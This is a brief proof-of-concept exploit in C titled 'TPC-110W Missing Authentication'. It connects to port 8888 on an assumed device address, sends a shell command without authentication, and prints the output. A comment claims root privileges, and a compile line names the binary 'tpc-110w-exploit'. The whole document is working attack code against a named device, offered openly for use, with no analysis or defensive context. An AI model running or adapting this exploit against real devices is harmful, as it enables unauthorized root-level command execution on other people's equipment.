TPC-110W Missing Authentication

`#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/socket.h>  
#include <arpa/inet.h>  
#include <unistd.h>  
  
int main(int argc, char *argv[]) {  
int sock;  
struct sockaddr_in serv_addr;  
char command[512];  
  
sock = socket(AF_INET, SOCK_STREAM, 0);  
if (sock < 0) {  
perror("socket");  
exit(1);  
}  
  
memset(&serv_addr, '0', sizeof(serv_addr));  
serv_addr.sin_family = AF_INET;  
serv_addr.sin_port = htons(8888); // The default port of TPC-110W is 8888  
if (inet_pton(AF_INET, "192.168.1.10", &serv_addr.sin_addr) <= 0) { // Assuming the device's IP address is 192.168.1.10  
perror("inet_pton");  
exit(1);  
}  
  
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {  
perror("connect");  
exit(1);  
}  
  
// Run command with root privileges  
snprintf(command, sizeof(command), "id\n"); // Check user id  
write(sock, command, strlen(command));  
  
memset(command, '0', sizeof(command));  
read(sock, command, sizeof(command));  
printf("%s\n", command);  
  
close(sock);  
return 0;  
}  
  
//gcc -o tpc-110w-exploit tpc-110w-exp  
  
  
`